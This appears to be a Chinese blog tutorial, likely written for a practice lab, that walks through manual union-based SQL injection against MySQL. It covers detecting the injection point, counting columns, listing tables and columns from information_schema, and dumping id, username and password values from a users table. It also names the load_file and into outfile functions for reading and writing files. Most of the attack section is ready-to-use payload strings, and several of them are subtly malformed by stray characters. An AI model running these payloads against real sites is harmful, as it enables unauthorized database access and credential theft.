SQL入流程

  1. 注释或闭合语句
    闭合语句后通过查询语句来爆出信息

    注释语句确保语句的正确执行

  2. 验证
    通常用and进行验证

    id=1'and 1=1
    id=1'and 1=2
    

    若第一句输入后页面正常,第二句输入后出现错误信息则证明包含注入点

  3. 查询字段数目
    MySQL使用order by来确认字段数目

    ?id=1'and order by 3 --+
    

    观察页面是否显示正常,来判断字段个数

  4. 联合查询
    通过union select联合查询来爆出字段

    ?id=1-'union select 1,2,3
    

    在爆出的字段值里面可以替换为我们的恶意语句,前期主要是收集信息

  5. 收集信息
    在爆出的字段值里面可以替换为我们的恶意语句,前期主要是收集信息

    数据库名:database()
    数据库版本: version()
    数据库用户: user()
    操作系统: @@version_compile_os
    数据库路径:   @@datadir
    系统用户名: system_user()
    当前用户名: current_user
    连接数据库的用户名:session_user()
    读取数据库路径:@@datadir
    MYSQL安装路径:@@basedir
    load_file 转成16进制或者10进制 MYSQL读取本地文件函数
    into outfile 写入函数
    

    比较重要的数据库

    information_schema 数据库下的 schemata表中的schema_name记录的是各个数据库的名称
    information_schema 数据库下的 tables表中的table_name记录的是各个数据表的名称
    储存所有表名信息的表 : information_schema.tables
    表名 : table_name
    数据库名: table_schema
    列名 : column_name
    储存所有列名信息的表 : information_schema.columns
    

    查询数据库名

    id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
    
    id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
    

    查询列名

    id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+ 查询列名
    
    id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users –+ 查询字段值
    

    查询字段值

    id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users –+ 查询字段值
    
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值